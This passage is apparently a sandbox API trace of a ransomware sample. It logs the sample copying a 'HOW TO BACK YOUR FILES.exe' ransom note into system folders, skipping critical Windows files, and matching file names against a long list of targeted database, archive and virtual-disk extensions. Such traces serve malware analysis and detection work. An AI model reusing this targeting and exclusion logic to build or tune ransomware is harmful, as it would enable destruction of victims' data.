(lpString1="MSMAPI", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.608] lstrcmpiW (lpString1="MSMAPI", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.608] lstrcmpiW (lpString1="MSMAPI", lpString2=".") returned 1 [0064.608] lstrcmpiW (lpString1="MSMAPI", lpString2="..") returned 1 [0064.608] lstrcmpiW (lpString1="MSMAPI", lpString2="windows") returned -1 [0064.608] lstrcmpiW (lpString1="MSMAPI", lpString2="bootmgr") returned 1 [0064.608] lstrcmpiW (lpString1="MSMAPI", lpString2="temp") returned -1 [0064.608] lstrcmpiW (lpString1="MSMAPI", lpString2="pagefile.sys") returned -1 [0064.608] lstrcmpiW (lpString1="MSMAPI", lpString2="boot") returned 1 [0064.608] lstrcmpiW (lpString1="MSMAPI", lpString2="ids.txt") returned 1 [0064.608] lstrcmpiW (lpString1="MSMAPI", lpString2="ntuser.dat") returned -1 [0064.608] lstrcmpiW (lpString1="MSMAPI", lpString2="perflogs") returned -1 [0064.608] lstrcmpiW (lpString1="MSMAPI", lpString2="MSBuild") returned 1 [0064.608] lstrlenW (lpString="MSMAPI") returned 6 [0064.608] lstrcpyW (in: lpString1=0x241e892, lpString2="MSMAPI" | out: lpString1="MSMAPI") returned="MSMAPI" [0064.608] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52af78 [0064.608] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x58) returned 0x528d70 [0064.608] lstrcatW (in: lpString1="MSMAPI", lpString2="\\" | out: lpString1="MSMAPI\\") returned="MSMAPI\\" [0064.608] lstrcatW (in: lpString1="MSMAPI\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MSMAPI\\HOW TO BACK YOUR FILES.exe") returned="MSMAPI\\HOW TO BACK YOUR FILES.exe" [0064.608] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\msmapi\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.611] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0064.611] lstrcmpiW (lpString1="Ole DB", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.611] lstrcmpiW (lpString1="Ole DB", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.611] lstrcmpiW (lpString1="Ole DB", lpString2=".") returned 1 [0064.611] lstrcmpiW (lpString1="Ole DB", lpString2="..") returned 1 [0064.611] lstrcmpiW (lpString1="Ole DB", lpString2="windows") returned -1 [0064.611] lstrcmpiW (lpString1="Ole DB", lpString2="bootmgr") returned 1 [0064.611] lstrcmpiW (lpString1="Ole DB", lpString2="temp") returned -1 [0064.611] lstrcmpiW (lpString1="Ole DB", lpString2="pagefile.sys") returned -1 [0064.611] lstrcmpiW (lpString1="Ole DB", lpString2="boot") returned 1 [0064.611] lstrcmpiW (lpString1="Ole DB", lpString2="ids.txt") returned 1 [0064.611] lstrcmpiW (lpString1="Ole DB", lpString2="ntuser.dat") returned 1 [0064.611] lstrcmpiW (lpString1="Ole DB", lpString2="perflogs") returned -1 [0064.611] lstrcmpiW (lpString1="Ole DB", lpString2="MSBuild") returned 1 [0064.611] lstrlenW (lpString="Ole DB") returned 6 [0064.611] lstrcpyW (in: lpString1=0x241e892, lpString2="Ole DB" | out: lpString1="Ole DB") returned="Ole DB" [0064.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cf30 [0064.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x58) returned 0x528d10 [0064.611] lstrcatW (in: lpString1="Ole DB", lpString2="\\" | out: lpString1="Ole DB\\") returned="Ole DB\\" [0064.612] lstrcatW (in: lpString1="Ole DB\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Ole DB\\HOW TO BACK YOUR FILES.exe") returned="Ole DB\\HOW TO BACK YOUR FILES.exe" [0064.612] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\ole db\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.616] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0064.616] lstrcmpiW (lpString1="wab32.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.616] lstrcmpiW (lpString1="wab32.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.616] lstrcmpiW (lpString1="wab32.dll", lpString2=".") returned 1 [0064.616] lstrcmpiW (lpString1="wab32.dll", lpString2="..") returned 1 [0064.616] lstrcmpiW (lpString1="wab32.dll", lpString2="windows") returned -1 [0064.616] lstrcmpiW (lpString1="wab32.dll", lpString2="bootmgr") returned 1 [0064.616] lstrcmpiW (lpString1="wab32.dll", lpString2="temp") returned 1 [0064.616] lstrcmpiW (lpString1="wab32.dll", lpString2="pagefile.sys") returned 1 [0064.616] lstrcmpiW (lpString1="wab32.dll", lpString2="boot") returned 1 [0064.616] lstrcmpiW (lpString1="wab32.dll", lpString2="ids.txt") returned 1 [0064.616] lstrcmpiW (lpString1="wab32.dll", lpString2="ntuser.dat") returned 1 [0064.616] lstrcmpiW (lpString1="wab32.dll", lpString2="perflogs") returned 1 [0064.616] lstrcmpiW (lpString1="wab32.dll", lpString2="MSBuild") returned 1 [0064.616] lstrlenW (lpString="wab32.dll") returned 9 [0064.617] lstrcpyW (in: lpString1=0x241e892, lpString2="wab32.dll" | out: lpString1="wab32.dll") returned="wab32.dll" [0064.617] lstrlenW (lpString="wab32.dll") returned 9 [0064.617] lstrlenW (lpString="Athena865") returned 9 [0064.617] lstrlenW (lpString=".dll") returned 4 [0064.617] lstrcmpiW (lpString1="wab32.dll", lpString2=".dll") returned 1 [0064.617] lstrlenW (lpString=".lnk") returned 4 [0064.617] lstrcmpiW (lpString1="wab32.dll", lpString2=".lnk") returned 1 [0064.617] lstrlenW (lpString=".ini") returned 4 [0064.617] lstrcmpiW (lpString1="wab32.dll", lpString2=".ini") returned 1 [0064.617] lstrlenW (lpString=".sys") returned 4 [0064.617] lstrcmpiW (lpString1="wab32.dll", lpString2=".sys") returned 1 [0064.617] lstrlenW (lpString="wab32.dll") returned 9 [0064.617] lstrlenW (lpString="bak") returned 3 [0064.617] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0064.617] lstrlenW (lpString="ba_") returned 3 [0064.617] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0064.617] lstrlenW (lpString="dbb") returned 3 [0064.617] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0064.617] lstrlenW (lpString="vmdk") returned 4 [0064.617] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0064.617] lstrlenW (lpString="rar") returned 3 [0064.617] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0064.617] lstrlenW (lpString="zip") returned 3 [0064.617] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0064.617] lstrlenW (lpString="tgz") returned 3 [0064.617] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0064.617] lstrlenW (lpString="vbox") returned 4 [0064.617] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0064.617] lstrlenW (lpString="vdi") returned 3 [0064.618] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0064.618] lstrlenW (lpString="vhd") returned 3 [0064.618] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0064.618] lstrlenW (lpString="vhdx") returned 4 [0064.618] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0064.618] lstrlenW (lpString="avhd") returned 4 [0064.618] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0064.618] lstrlenW (lpString="db") returned 2 [0064.618] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0064.618] lstrlenW (lpString="db2") returned 3 [0064.618] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0064.618] lstrlenW (lpString="db3") returned 3 [0064.618] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0064.618] lstrlenW (lpString="dbf") returned 3 [0064.618] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0064.618] lstrlenW (lpString="mdf") returned 3 [0064.618] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0064.618] lstrlenW (lpString="mdb") returned 3 [0064.618] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0064.618] lstrlenW (lpString="sql") returned 3 [0064.618] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0064.618] lstrlenW (lpString="sqlite") returned 6 [0064.618] lstrcmpiW (lpString1="32.dll", lpString2="sqlite") returned -1 [0064.618] lstrlenW (lpString="sqlite3") returned 7 [0064.618] lstrcmpiW (lpString1="b32.dll", lpString2="sqlite3") returned -1 [0064.618] lstrlenW (lpString="sqlitedb") returned 8 [0064.618] lstrcmpiW (lpString1="ab32.dll", lpString2="sqlitedb") returned -1 [0064.618] lstrlenW (lpString="xml") returned 3 [0064.618] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0064.618] lstrlenW (lpString="$er") returned 3 [0064.618] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0064.618] lstrlenW (lpString="4dd") returned 3 [0064.619] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0064.619] lstrlenW (lpString="4dl") returned 3 [0064.619] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0064.619] lstrlenW (lpString="^^^") returned 3 [0064.619] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0064.619] lstrlenW (lpString="abs") returned 3 [0064.619] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0064.619] lstrlenW (lpString="abx") returned 3 [0064.619] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0064.619] lstrlenW (lpString="accdb") returned 5 [0064.619] lstrcmpiW (lpString1="2.dll", lpString2="accdb") returned -1 [0064.619] lstrlenW (lpString="accdc") returned 5 [0064.619] lstrcmpiW (lpString1="2.dll", lpString2="accdc") returned -1 [0064.619] lstrlenW (lpString="accde") returned 5 [0064.619] lstrcmpiW (lpString1="2.dll", lpString2="accde") returned -1 [0064.619] lstrlenW (lpString="accdr") returned 5 [0064.619] lstrcmpiW (lpString1="2.dll", lpString2="accdr") returned -1 [0064.619] lstrlenW (lpString="accdt") returned 5 [0064.619] lstrcmpiW (lpString1="2.dll", lpString2="accdt") returned -1 [0064.619] lstrlenW (lpString="accdw") returned 5 [0064.619] lstrcmpiW (lpString1="2.dll", lpString2="accdw") returned -1 [0064.619] lstrlenW (lpString="accft") returned 5 [0064.619] lstrcmpiW (lpString1="2.dll", lpString2="accft") returned -1 [0064.619] lstrlenW (lpString="adb") returned 3 [0064.619] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0064.619] lstrlenW (lpString="adb") returned 3 [0064.619] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0064.619] lstrlenW (lpString="ade") returned 3 [0064.619] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0064.619] lstrlenW (lpString="adf") returned 3 [0064.619] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0064.619] lstrlenW (lpString="adn") returned 3 [0064.619] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0064.620] lstrlenW (lpString="adp") returned 3 [0064.620] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0064.620] lstrlenW (lpString="alf") returned 3 [0064.620] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0064.620] lstrlenW (lpString="ask") returned 3 [0064.620] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0064.620] lstrlenW (lpString="btr") returned 3 [0064.620] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0064.620] lstrlenW (lpString="cat") returned 3 [0064.620] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0064.620] lstrlenW (lpString="cdb") returned 3 [0064.620] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0064.620] lstrlenW (lpString="ckp") returned 3 [0064.620] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0064.620] lstrlenW (lpString="cma") returned 3 [0064.620] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0064.620] lstrlenW (lpString="cpd") returned 3 [0064.620] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0064.620] lstrlenW (lpString="dacpac") returned 6 [0064.620] lstrcmpiW (lpString1="32.dll", lpString2="dacpac") returned -1 [0064.620] lstrlenW (lpString="dad") returned 3 [0064.620] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0064.620] lstrlenW (lpString="dadiagrams") returned 10 [0064.620] lstrlenW (lpString="daschema") returned 8 [0064.620] lstrcmpiW (lpString1="ab32.dll", lpString2="daschema") returned -1 [0064.620] lstrlenW (lpString="db-journal") returned 10 [0064.620] lstrlenW (lpString="db-shm") returned 6 [0064.620] lstrcmpiW (lpString1="32.dll", lpString2="db-shm") returned -1 [0064.620] lstrlenW (lpString="db-wal") returned 6 [0064.620] lstrcmpiW (lpString1="32.dll", lpString2="db-wal") returned -1 [0064.620] lstrlenW (lpString="dbc") returned 3 [0064.620] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0064.620] lstrlenW (lpString="dbs") returned 3 [0064.620] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0064.621] lstrlenW (lpString="dbt") returned 3 [0064.621] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0064.621] lstrlenW (lpString="dbv") returned 3 [0064.621] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0064.621] lstrlenW (lpString="dbx") returned 3 [0064.621] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0064.621] lstrlenW (lpString="dcb") returned 3 [0064.621] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0064.621] lstrlenW (lpString="dct") returned 3 [0064.621] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0064.621] lstrlenW (lpString="dcx") returned 3 [0064.621] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0064.621] lstrlenW (lpString="ddl") returned 3 [0064.621] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0064.621] lstrlenW (lpString="dlis") returned 4 [0064.621] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0064.621] lstrlenW (lpString="dp1") returned 3 [0064.621] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0064.621] lstrlenW (lpString="dqy") returned 3 [0064.621] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0064.621] lstrlenW (lpString="dsk") returned 3 [0064.621] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0064.621] lstrlenW (lpString="dsn") returned 3 [0064.621] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0064.621] lstrlenW (lpString="dtsx") returned 4 [0064.621] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0064.621] lstrlenW (lpString="dxl") returned 3 [0064.621] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0064.621] lstrlenW (lpString="eco") returned 3 [0064.621] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0064.621] lstrlenW (lpString="ecx") returned 3 [0064.621] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0064.621] lstrlenW (lpString="edb") returned 3 [0064.622] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0064.622] lstrlenW (lpString="epim") returned 4 [0064.622] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0064.622] lstrlenW (lpString="fcd") returned 3 [0064.622] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0064.622] lstrlenW (lpString="fdb") returned 3 [0064.622] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0064.622] lstrlenW (lpString="fic") returned 3 [0064.622] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0064.622] lstrlenW (lpString="flexolibrary") returned 12 [0064.622] lstrlenW (lpString="fm5") returned 3 [0064.622] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0064.622] lstrlenW (lpString="fmp") returned 3 [0064.622] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0064.622] lstrlenW (lpString="fmp12") returned 5 [0064.622] lstrcmpiW (lpString1="2.dll", lpString2="fmp12") returned -1 [0064.622] lstrlenW (lpString="fmpsl") returned 5 [0064.622] lstrcmpiW (lpString1="2.dll", lpString2="fmpsl") returned -1 [0064.622] lstrlenW (lpString="fol") returned 3 [0064.622] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0064.622] lstrlenW (lpString="fp3") returned 3 [0064.622] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0064.622] lstrlenW (lpString="fp4") returned 3 [0064.622] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0064.622] lstrlenW (lpString="fp5") returned 3 [0064.622] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0064.622] lstrlenW (lpString="fp7") returned 3 [0064.622] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0064.622] lstrlenW (lpString="fpt") returned 3 [0064.622] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0064.622] lstrlenW (lpString="frm") returned 3 [0064.622] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0064.622] lstrlenW (lpString="gdb") returned 3 [0064.623] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0064.623] lstrlenW (lpString="gdb") returned 3 [0064.623] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0064.623] lstrlenW (lpString="grdb") returned 4 [0064.623] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0064.623] lstrlenW (lpString="gwi") returned 3 [0064.623] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0064.623] lstrlenW (lpString="hdb") returned 3 [0064.623] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0064.623] lstrlenW (lpString="his") returned 3 [0064.623] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0064.623] lstrlenW (lpString="ib") returned 2 [0064.623] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0064.623] lstrlenW (lpString="idb") returned 3 [0064.623] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0064.623] lstrlenW (lpString="ihx") returned 3 [0064.623] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0064.623] lstrlenW (lpString="itdb") returned 4 [0064.623] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0064.623] lstrlenW (lpString="itw") returned 3 [0064.623] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0064.623] lstrlenW (lpString="jet") returned 3 [0064.623] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0064.623] lstrlenW (lpString="jtx") returned 3 [0064.623] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0064.623] lstrlenW (lpString="kdb") returned 3 [0064.623] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0064.623] lstrlenW (lpString="kexi") returned 4 [0064.623] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0064.623] lstrlenW (lpString="kexic") returned 5 [0064.623] lstrcmpiW (lpString1="2.dll", lpString2="kexic") returned -1 [0064.623] lstrlenW (lpString="kexis") returned 5 [0064.623] lstrcmpiW (lpString1="2.dll", lpString2="kexis") returned -1 [0064.624] lstrlenW (lpString="lgc") returned 3 [0064.624] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0064.624] lstrlenW (lpString="lwx") returned 3 [0064.624] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0064.624] lstrlenW (lpString="maf") returned 3 [0064.624] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0064.624] lstrlenW (lpString="maq") returned 3 [0064.624] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0064.624] lstrlenW (lpString="mar") returned 3 [0064.624] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0064.624] lstrlenW (lpString="marshal") returned 7 [0064.624] lstrcmpiW (lpString1="b32.dll", lpString2="marshal") returned -1 [0064.624] lstrlenW (lpString="mas") returned 3 [0064.624] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0064.624] lstrlenW (lpString="mav") returned 3 [0064.624] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0064.624] lstrlenW (lpString="maw") returned 3 [0064.624] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0064.624] lstrlenW (lpString="mdbhtml") returned 7 [0064.624] lstrcmpiW (lpString1="b32.dll", lpString2="mdbhtml") returned -1 [0064.624] lstrlenW (lpString="mdn") returned 3 [0064.624] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0064.624] lstrlenW (lpString="mdt") returned 3 [0064.624] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0064.624] lstrlenW (lpString="mfd") returned 3 [0064.624] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0064.624] lstrlenW (lpString="mpd") returned 3 [0064.624] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0064.624] lstrlenW (lpString="mrg") returned 3 [0064.624] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0064.624] lstrlenW (lpString="mud") returned 3 [0064.624] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0064.624] lstrlenW (lpString="mwb") returned 3 [0064.625] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0064.625] lstrlenW (lpString="myd") returned 3 [0064.625] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0064.625] lstrlenW (lpString="ndf") returned 3 [0064.625] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0064.625] lstrlenW (lpString="nnt") returned 3 [0064.625] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0064.625] lstrlenW (lpString="nrmlib") returned 6 [0064.625] lstrcmpiW (lpString1="32.dll", lpString2="nrmlib") returned -1 [0064.625] lstrlenW (lpString="ns2") returned 3 [0064.625] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0064.625] lstrlenW (lpString="ns3") returned 3 [0064.625] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0064.625] lstrlenW (lpString="ns4") returned 3 [0064.625] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0064.625] lstrlenW (lpString="nsf") returned 3 [0064.625] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0064.625] lstrlenW (lpString="nv") returned 2 [0064.625] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0064.625] lstrlenW (lpString="nv2") returned 3 [0064.625] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0064.625] lstrlenW (lpString="nwdb") returned 4 [0064.625] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0064.625] lstrlenW (lpString="nyf") returned 3 [0064.625] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0064.625] lstrlenW (lpString="odb") returned 3 [0064.625] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0064.625] lstrlenW (lpString="odb") returned 3 [0064.625] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0064.625] lstrlenW (lpString="oqy") returned 3 [0064.625] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0064.625] lstrlenW (lpString="ora") returned 3 [0064.625] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0064.625] lstrlenW (lpString="orx") returned 3 [0064.625] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0064.626] lstrlenW (lpString="owc") returned 3 [0064.626] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0064.626] lstrlenW (lpString="p96") returned 3 [0064.626] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0064.626] lstrlenW (lpString="p97") returned 3 [0064.626] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0064.626] lstrlenW (lpString="pan") returned 3 [0064.626] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0064.626] lstrlenW (lpString="pdb") returned 3 [0064.626] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0064.626] lstrlenW (lpString="pdm") returned 3 [0064.626] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0064.626] lstrlenW (lpString="pnz") returned 3 [0064.626] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0064.626] lstrlenW (lpString="qry") returned 3 [0064.626] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0064.626] lstrlenW (lpString="qvd") returned 3 [0064.626] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0064.626] lstrlenW (lpString="rbf") returned 3 [0064.626] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0064.626] lstrlenW (lpString="rctd") returned 4 [0064.626] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0064.626] lstrlenW (lpString="rod") returned 3 [0064.626] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0064.626] lstrlenW (lpString="rodx") returned 4 [0064.626] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0064.626] lstrlenW (lpString="rpd") returned 3 [0064.626] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0064.626] lstrlenW (lpString="rsd") returned 3 [0064.626] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0064.626] lstrlenW (lpString="sas7bdat") returned 8 [0064.626] lstrcmpiW (lpString1="ab32.dll", lpString2="sas7bdat") returned -1 [0064.627] lstrlenW (lpString="sbf") returned 3 [0064.627] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0064.627] lstrlenW (lpString="scx") returned 3 [0064.627] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0064.627] lstrlenW (lpString="sdb") returned 3 [0064.627] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0064.627] lstrlenW (lpString="sdc") returned 3 [0064.627] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0064.627] lstrlenW (lpString="sdf") returned 3 [0064.627] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0064.627] lstrlenW (lpString="sis") returned 3 [0064.627] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0064.627] lstrlenW (lpString="spq") returned 3 [0064.627] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0064.627] lstrlenW (lpString="te") returned 2 [0064.627] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0064.627] lstrlenW (lpString="teacher") returned 7 [0064.627] lstrcmpiW (lpString1="b32.dll", lpString2="teacher") returned -1 [0064.627] lstrlenW (lpString="tmd") returned 3 [0064.627] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0064.627] lstrlenW (lpString="tps") returned 3 [0064.627] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0064.627] lstrlenW (lpString="trc") returned 3 [0064.627] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0064.627] lstrlenW (lpString="trc") returned 3 [0064.627] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0064.627] lstrlenW (lpString="trm") returned 3 [0064.627] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0064.627] lstrlenW (lpString="udb") returned 3 [0064.627] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0064.627] lstrlenW (lpString="udl") returned 3 [0064.627] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0064.627] lstrlenW (lpString="usr") returned 3 [0064.628] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0064.628] lstrlenW (lpString="v12") returned 3 [0064.628] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0064.628] lstrlenW (lpString="vis") returned 3 [0064.628] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0064.628] lstrlenW 